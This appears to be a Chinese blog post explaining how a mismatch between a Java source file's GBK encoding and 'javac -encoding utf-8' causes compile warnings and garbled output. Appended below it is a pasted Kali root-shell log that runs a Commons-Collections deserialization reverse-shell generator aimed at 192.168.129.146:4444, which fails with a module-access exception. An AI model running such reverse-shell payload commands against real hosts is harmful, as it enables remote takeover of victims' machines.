关于javac -encoding

本文详细阐述了在编辑Java源文件时使用不同编码所导致的编译警告与运行时乱码问题。通过实例演示,在使用记事本编辑源文件并保存为GBK编码后,编译时指定字符集为UTF-8时出现的警告及运行结果。解释了源文件编码与编译目标编码不一致的原因,以及如何避免此类问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

当我们编辑了一个Java源文件保存时,是以操作系统默认的字符编码保存的(Windows xp默认字符集是GBK)。当调用javac命令时,会把源文件进行一次编码转换,如果没有指定字符集,就从操作系统默认的字符集转换成Java内部默认的unicode字符集,然后再将源文件编译成class文件,并且以unicode的编码形式保存到硬盘上。

在windows xp上使用记事本编辑源文件,

public class Test{
	public static void main(String[] args){
		System.out.println("你好!");
	}
}
然后保存,保存的编码是GBK,即xp默认的字符编码。

编译的时候指定字符集为utf-8

C:\Documents and Settings\Administrator\桌面>javac -encoding utf-8 Test.java
输出以下结果
Test.java:3: 警告:编码 utf-8 的不可映射字符
                System.out.println("????");
                                    ^
Test.java:3: 警告:编码 utf-8 的不可映射字符
                System.out.println("????");
                                     ^
Test.java:3: 警告:编码 utf-8 的不可映射字符
                System.out.println("????");
                                       ^
3 警告

C:\Documents and Settings\Administrator\桌面>
编译虽然通过,但是报出了警告,这是因为源文件的编码和转换的编码不一致。

运行

C:\Documents and Settings\Administrator\桌面>java Test
????

C:\Documents and Settings\Administrator\桌面>
输出的是乱码。


┌──(root㉿kali)-[~/JavaDeserH2HC] └─# javac -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Unrecognized option: -encoding Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# javac -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Unrecognized option: -encoding Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make field transient java.util.HashMap java.util.HashSet.map accessible: module java.base does not "opens java.util" to unnamed module @76ed5528 at java.base/java.lang.reflect.AccessibleObject.throwInaccessibleObjectException(AccessibleObject.java:391) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:367) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:315) at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:183) at java.base/java.lang.reflect.Field.setAccessible(Field.java:177) at ReverseShellCommonsCollectionsHashMap.main(ReverseShellCommonsCollectionsHashMap.java:105)
07-09
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值